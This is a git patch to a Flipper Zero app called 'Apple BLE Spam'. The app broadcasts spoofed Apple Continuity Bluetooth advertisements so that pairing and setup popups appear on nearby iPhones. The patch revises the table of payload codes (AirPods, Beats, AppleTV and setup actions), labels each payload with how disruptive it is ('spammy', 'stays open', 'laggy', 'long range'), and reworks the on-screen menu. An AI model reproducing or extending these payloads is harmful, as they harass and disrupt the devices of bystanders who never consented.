From c27c8bb34ea6d8e139100152dfef290d106aec43 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Mon, 4 Sep 2023 22:00:46 +0200 Subject: [PATCH] New ble spam interface, add infos, fix payloads --- .../external/apple_ble_spam/apple_ble_spam.c | 175 +++++++++++------- 1 file changed, 107 insertions(+), 68 deletions(-) diff --git a/applications/external/apple_ble_spam/apple_ble_spam.c b/applications/external/apple_ble_spam/apple_ble_spam.c index 3d2333b39..8026dbd0f 100644 --- a/applications/external/apple_ble_spam/apple_ble_spam.c +++ b/applications/external/apple_ble_spam/apple_ble_spam.c @@ -8,6 +8,7 @@ typedef struct { const char* title; + const char* text; ContinuityMsg msg; } Payload; @@ -18,185 +19,222 @@ typedef struct { static const Payload payloads[] = { {.title = "AirPods Pro", + .text = "Modal, spammy (auto close)", .msg = { .type = ContinuityTypeProximityPair, .data = {.proximity_pair = {.model = 0x0E20}}, }}, - {.title = "PowerBeats", + {.title = "Beats Solo 3", + .text = "Modal, spammy (stays open)", .msg = { .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.model = 0x0320}}, + .data = {.proximity_pair = {.model = 0x0620}}, + }}, + {.title = "AirPods Max", + .text = "Modal, laggy (stays open)", + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.model = 0x0A20}}, + }}, + {.title = "Beats Flex", + .text = "Modal, laggy (stays open)", + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.model = 0x1020}}, }}, {.title = "Airtag", + .text = "", .msg = { .type = ContinuityTypeProximityPair, .data = {.proximity_pair = {.model = 0x0055}}, }}, - {.title = "Setup New Phone", + {.title = "Hermes Airtag", + .text = "", .msg = { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.type = 0x09}}, - }}, - {.title = "Transfer Number", - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.type = 0x02}}, + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.model = 0x0030}}, }}, {.title = "AppleTV AutoFill", + .text = "Banner, unlocked, long range", .msg = { .type = ContinuityTypeNearbyAction, .data = {.nearby_action = {.type = 0x13}}, }}, - {.title = "AppleTV Pair", + {.title = "AppleTV Connecting...", + .text = "Modal, unlocked, long range", + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.type = 0x27}}, + }}, + {.title = "AppleTV Audio Sync", + .text = "Banner, locked, long range", + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.type = 0x19}}, + }}, + {.title = "AppleTV Color Balance", + .text = "Banner, locked", + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.type = 0x1E}}, + }}, + {.title = "Setup New iPhone", + .text = "Modal, locked", + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.type = 0x09}}, + }}, + {.title = "Transfer Phone Number", + .text = "Modal, locked", + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.type = 0x02}}, + }}, + {.title = "Pair AppleTV", + .text = "Modal, unlocked", .msg = { .type = ContinuityTypeNearbyAction, .data = {.nearby_action = {.type = 0x06}}, }}, {.title = "HomePod Setup", + .text = "Modal, unlocked", .msg = { .type = ContinuityTypeNearbyAction, .data = {.nearby_action = {.type = 0x0B}}, }}, {.title = "AirPods", + .text = "Modal, spammy (auto close)", .msg = { .type = ContinuityTypeProximityPair, .data = {.proximity_pair = {.model = 0x0220}}, }}, - {.title = "AirPods Max", - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.model = 0x0A20}}, - }}, - {.title = "AirPods Gen 2", + {.title = "AirPods 2nd Gen", + .text = "Modal, spammy (auto close)", .msg = { .type = ContinuityTypeProximityPair, .data = {.proximity_pair = {.model = 0x0F20}}, }}, - {.title = "AirPods Gen 3", + {.title = "AirPods 3rd Gen", + .text = "Modal, spammy (auto close)", .msg = { .type = ContinuityTypeProximityPair, .data = {.proximity_pair = {.model = 0x1320}}, }}, - {.title = "AirPods Pro Gen 2", + {.title = "AirPods Pro 2nd Gen", + .text = "Modal, spammy (auto close)", .msg = { .type = ContinuityTypeProximityPair, .data = {.proximity_pair = {.model = 0x1420}}, }}, - {.title = "PowerBeats Pro", + {.title = "Powerbeats 3", + .text = "Modal, spammy (stays open)", + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.model = 0x0320}}, + }}, + {.title = "Powerbeats Pro", + .text = "Modal, spammy (auto close)", .msg = { .type = ContinuityTypeProximityPair, .data = {.proximity_pair = {.model = 0x0B20}}, }}, {.title = "Beats Solo Pro", + .text = "", .msg = { .type = ContinuityTypeProximityPair, .data = {.proximity_pair = {.model = 0x0C20}}, }}, {.title = "Beats Studio Buds", + .text = "", .msg = { .type = ContinuityTypeProximityPair, .data = {.proximity_pair = {.model = 0x1120}}, }}, - {.title = "Beats Flex", - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.model = 0x1020}}, - }}, {.title = "Beats X", + .text = "Modal, spammy (stays open)", .msg = { .type = ContinuityTypeProximityPair, .data = {.proximity_pair = {.model = 0x0520}}, }}, - {.title = "Beats Solo 3", - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.model = 0x0620}}, - }}, {.title = "Beats Studio 3", + .text = "Modal, spammy (stays open)", .msg = { .type = ContinuityTypeProximityPair, .data = {.proximity_pair = {.model = 0x0920}}, }}, {.title = "Beats Studio Pro", + .text = "Modal, spammy (stays open)", .msg = { .type = ContinuityTypeProximityPair, .data = {.proximity_pair = {.model = 0x1720}}, }}, {.title = "Beats Fit Pro", + .text = "", .msg = { .type = ContinuityTypeProximityPair, .data = {.proximity_pair = {.model = 0x1220}}, }}, {.title = "Beats Studio Buds+", + .text = "", .msg = { .type = ContinuityTypeProximityPair, .data = {.proximity_pair = {.model = 0x1620}}, }}, - {.title = "AppleTV Setup", + {.title = "Setup New AppleTV", + .text = "Modal, unlocked", .msg = { .type = ContinuityTypeNearbyAction, .data = {.nearby_action = {.type = 0x01}}, }}, - {.title = "AppleTV Homekit Setup", + {.title = "HomeKit AppleTV Setup", + .text = "Modal, unlocked", .msg = { .type = ContinuityTypeNearbyAction, .data = {.nearby_action = {.type = 0x0D}}, }}, - {.title = "AppleTV New User", + {.title = "Join This AppleTV?", + .text = "Modal, unlocked", .msg = { .type = ContinuityTypeNearbyAction, .data = {.nearby_action = {.type = 0x20}}, }}, - {.title = "AppleTV AppleID Setup", + {.title = "AppleID for AppleTV?", + .text = "Modal, unlocked", .msg = { .type = ContinuityTypeNearbyAction, .data = {.nearby_action = {.type = 0x2B}}, }}, - {.title = "AppleTV Audio Sync", - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.type = 0x19}}, - }}, - {.title = "AppleTV Network", - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.type = 0x27}}, - }}, - {.title = "TV Color Balance", - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.type = 0x13}}, - }}, }; typedef struct { @@ -242,23 +280,24 @@ static void draw_callback(Canvas* canvas, void* ctx) { State* state = ctx; const Payload* payload = &payloads[state->index]; - canvas_draw_icon(canvas, 4, 4, &I_apple_10px); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 16, 12, "Apple BLE Spam"); - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 5, 24, payload->title); + canvas_draw_icon(canvas, 3, 4, &I_apple_10px); + canvas_draw_str(canvas, 14, 12, "Apple BLE Spam"); + canvas_set_font(canvas, FontBatteryPercent); + char delay[14]; + snprintf(delay, sizeof(delay), "%ims", state->delay); + canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, delay); + canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5); + canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5); canvas_set_font(canvas, FontBatteryPercent); - canvas_draw_str(canvas, 5, 33, continuity_get_type_name(payload->msg.type)); + canvas_draw_str(canvas, 4, 21, continuity_get_type_name(payload->msg.type)); + + canvas_set_font(canvas, FontPrimary); + canvas_draw_str(canvas, 4, 32, payload->title); canvas_set_font(canvas, FontSecondary); - canvas_draw_icon(canvas, 6, 41, &I_SmallArrowUp_3x5); - canvas_draw_icon(canvas, 6, 45, &I_SmallArrowDown_3x5); - char delay[21]; - snprintf(delay, sizeof(delay), "Delay: %ims", state->delay); - canvas_draw_str(canvas, 14, 48, delay); + canvas_draw_str(canvas, 4, 46, payload->text); if(state->index > 0) { elements_button_left(canvas, "Back");